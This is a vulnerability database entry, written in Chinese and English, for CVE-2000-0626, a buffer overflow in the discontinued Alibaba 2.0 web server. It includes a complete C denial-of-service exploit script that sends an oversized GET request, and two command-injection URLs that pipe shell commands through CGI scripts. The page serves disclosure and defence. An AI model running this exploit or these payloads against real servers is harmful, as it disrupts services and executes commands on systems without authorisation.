CVE-2000-0626
CVSS5.0
发布时间 :2000-07-18 00:00:00
修订时间 :2008-09-10 15:05:28
NMCOES    

[原文]Buffer overflow in Alibaba web server allows remote attackers to cause a denial of service via a long GET request.


[CNNVD]CSM Alibaba Web服务器DoS漏洞(CNNVD-200007-045)

        Alibaba web服务器存在缓冲区溢出漏洞。远程攻击者可以借助超长GET请求来导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0626
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0626
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200007-045
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1482
(VENDOR_ADVISORY)  BID  1482
http://archives.neohapsis.com/archives/bugtraq/2000-07/0237.html
(VENDOR_ADVISORY)  BUGTRAQ  20000718 Multiple bugs in Alibaba 2.0

- 漏洞信息

CSM Alibaba Web服务器DoS漏洞
中危 缓冲区溢出
2000-07-18 00:00:00 2005-10-20 00:00:00
远程※本地  
        Alibaba web服务器存在缓冲区溢出漏洞。远程攻击者可以借助超长GET请求来导致服务拒绝。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20080)

Computer Software Manufaktur Alibaba 2.0 DoS Vulnerability (EDBID:20080)
windows dos
2000-07-18 Verified
0 wildcoyote
N/A [点击下载]
source: http://www.securityfocus.com/bid/1482/info

It is possible for a user to initiate a denial of service against Alibaba Web Server. Sending an unusually long GET request (> 8000 bytes) to the server will cause the service to stop responding. A restart of the server service is required in order to gain normal functionality.

/*

 Description: DoS against Alibaba 2.0 WebServer by wildcoyote
 Comments   : Based on advisorie by Prizm<Prizm@RESENTMENT.org>
 Platforms  : Alibaba runs on Win95/98/NT
 Flamez to  : wildcoyote@coders-pt.org

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int 
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
      
   he=gethostbyname(host);
   
   if (he==NULL) {
      perror("gethostbyname()");
      exit(-1); }
   
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
    
   if (sock==-1) {
      perror("socket()");
      exit(-1); }
    
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);

   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
      sock=-2; } 
    
   return sock;
}

void 
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void 
DoS(char *host, int port)
{
 int sock,i;
 char *buf;
 printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
 printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
 sock=openhost(host,port);
 if(sock<=0) {
     printf("- Could not connect -\n");
     printf("Exiting...\n\n");
     exit(-1);
 }
 else printf("Connected to %s (%d)\n",host,port);
 printf("Allocating memory for DoS\n");
 buf = (char *) malloc(8200); // it takes 8173 bytes, but i wave mem ;)
 strcpy(buf,"GET ");
 for(i=5;i<8198;i++) strcat(buf,"A");
 strcat(buf,"\n\n");
 printf("Oh k! Sending CRASH!\n");
 sends(sock,buf);
 close(sock);
 free(buf);
 printf("Crash sent! The host *probably* crashed :P\n");
 printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
}

main(int argc, char *argv[])
{
 int sock,i;
 if (argc<2) {
    printf("\nDoS against Alibaba 2.0 WebServer by wildcoyote\n\n");
    printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
    printf("Send flamez to wildcoyote@coders-pt.org, *Enjoy*...\n\n");
 }
 else if (argc==2) DoS(argv[1],80);
      else DoS(argv[1],atoi(argv[2]));
}		

- 漏洞信息 (20085)

Computer Software Manufaktur Alibaba 2.0 Piped Command Vulnerability (EDBID:20085)
cgi remote
2000-07-18 Verified
0 Prizm
N/A [点击下载]
source: http://www.securityfocus.com/bid/1485/info

Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine. 

http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir] 		

- 漏洞信息

12
Alibaba Web Server HTTP Request Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Discontinued Product
Exploit Public Third-party Verified

- 漏洞描述

Alibaba Web Server is vulnerable to a remote buffer overflow. The vulnerability exists in the handling of GET or POST requests on the server. If a large HTTP request is sent to the server a buffer overflow will occur, crashing the service and resulting in a loss of availability.

- 时间线

2000-07-18 Unknow
2000-07-18 Unknow

- 解决方案

The vendor has discontinued this product and therefore has no patch or upgrade that mitigates this problem. It is recommended that an alternate software package be used in its place.

- 相关参考

- 漏洞作者

- 漏洞信息

CSM Alibaba Web Server DoS Vulnerability
Boundary Condition Error 1482
Yes Yes
2000-07-18 12:00:00 2009-07-11 02:56:00
Discovered by and posted to Bugtraq on July 18, 2000 by Prizm <prizm@Resentment.org>.

- 受影响的程序版本

Computer Software Manufaktur Alibaba 2.0
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0

- 漏洞讨论

It is possible for a user to initiate a denial of service against Alibaba Web Server. Sending an unusually long GET request (&gt; 8000 bytes) to the server will cause the service to stop responding. A restart of the server service is required in order to gain normal functionality.

- 漏洞利用

See Discussion.

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

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